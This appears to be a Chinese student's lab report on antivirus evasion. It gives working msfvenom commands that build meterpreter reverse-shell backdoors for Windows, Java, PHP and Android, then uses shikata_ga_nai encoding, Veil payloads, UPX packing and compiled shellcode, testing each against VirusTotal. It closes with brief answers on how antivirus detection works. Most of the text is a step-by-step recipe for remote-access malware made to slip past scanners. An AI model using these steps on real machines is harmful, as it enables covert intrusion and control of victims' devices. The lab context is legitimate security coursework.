1. 正确使用msf编码器
使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序meter_backdoor.exe进行扫描
尝试用msf编码器对后门程序进行一次到多次的编码,并进行检测,代码如下
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe
使用-i设置迭代次数,进行十次编码,结果检测之后发现情况并不理想
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.196.133 LPORT=5121 -f exe > encoded10.exe
2. msfvenom生成如jar之类的其他文件
使用如下代码生成java后门程序并检测:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5124 x> meter_backdoor_java.jar
使用如下代码生成php后门程序并检测:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5124 x> meter_backdoor.php
使用如下代码生成Android后门程序并检测
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.198.128 lport=5124 x> Android_backdoor.apk
3. veil
veil的安装让我吃尽苦头,试了很多种方法,反反复复十几次,用时好几天出现了各种各样莫名的bug,最后莫名安好了,在此阐述一下安装经历。
首先在开发源加上中科大和阿里云,然后依次运行代码
apt-get update
apt-get upgrade -y
apt-get install veil-evasion//安装依赖
veil//运行安装
然后第一个问题来了,下载速度奇慢导致下载失败,我百度后使用了以下方法:
1:更改host设置
失败
2:使用git config --global http.proxy 'socks5://127.0.0.1:1080'
失败
3:cd /usr/share/veil/config/进入文件夹
vim setup.sh,编辑第260行,把github仓库改成码云的仓库:https://gitee.com/spears/VeilDependencies.git
成功!!!
继续安装
(使用s进行默认安装)
(终于完成了安装)
输入veil指令,再输入use evasion进入如下页面
输入命令use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IP:set LHOST 192.168.198.128(此处为KaliIP),端口:set LPORT 5124
输入指令generate生成文件,接着输入想取的payload的名字:veil_c_5124,如图所示,生成文件语言为C语言文件,有效载荷模块为TCP反弹型,保存路径为:/var/lib/veil/output/handlers/veil_c_5124.rc
使用VirusTotal检测文件。
(过关,不愧是我废了老大功夫搞得东西)
4. 加壳工具
加压缩壳UPX,输入upx meter_backdoor.exe -o 符嘉讯.upxed.exe
5. 使用C + shellcode编程
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.1 LPORT=5124 -f c生成一段shellcode。
创建一个文件test.c,然后将unsigned char buf[]赋值到其中。
输入i686-w64-mingw32-g++ test.c -o 20175124.exe,将此文件编译为可执行文件并检测。
6. 使用其他课堂未介绍方法
再次进入免杀平台,记得输入use evasion
输入list查看可用的payloads
我们使用python来进行编译,输入use python/meterpreter/rev_tcp.py进入配置页面。
输入set LHOST 192.168.198.128和set LPORT 5124,分别设置反弹连接的IP地址和端口号。
输入generate生成文件,根据提示输入文件名:20175124
使用VirusTotal检测文件
7. 基础问题回答
(1)杀软是如何检测出恶意代码的?
使用现成的反病毒软件来扫描待分析的样本,以确代码是否含有病毒。
在Windows平台上,二进制可执行yywrexe和dll都是以pe文件格式组织的,而在linux平台上,可执行文件格式则是elf。
有时恶意代码的作者会在自己的作品中放入某个特定的url或email地址,或者恶意代码会使用到某个特定的库文件和函数。利用字符串提取技术,可以分析恶意代码的功能和结构。
(2)免杀是做什么?
免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的
(3)免杀的基本方法有哪些?
改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
改变行为:使用反弹连接、隧道技术、加密通讯数据等。
(4)开启杀软能绝对防止电脑中恶意代码吗?
不能,一些病毒软件在改变特征码后杀软识别不出来,所以开启杀软并不能防止电脑中恶意代码。
8. 实践总结与体会
这次实验是我做的最痛苦的一次,本来可以早就做完的,但是veil的安装实在是太折磨人了,拖了大概有两三天的样子,参考了同学的和往届的安装方法,查阅了无数个帖子,每次都是四十分钟到两三个小时的尝试,反反复复十几次,最后终于安装好了,装好那一刻,我感到了一丝时候的空虚和解脱。本次的实验内容关于免杀,通过很多方法终于让杀毒软件和查杀网站降低了对于后门的警惕性,但是这只是杀毒软件十分之一的功力,如果要实现一个合格的病毒软件,那难度想必是无比之困难吧。只有知道了这些后门软件的各种能力,才能方便我们做好网络安全工作,才能在未来让我们履行好自己的职责。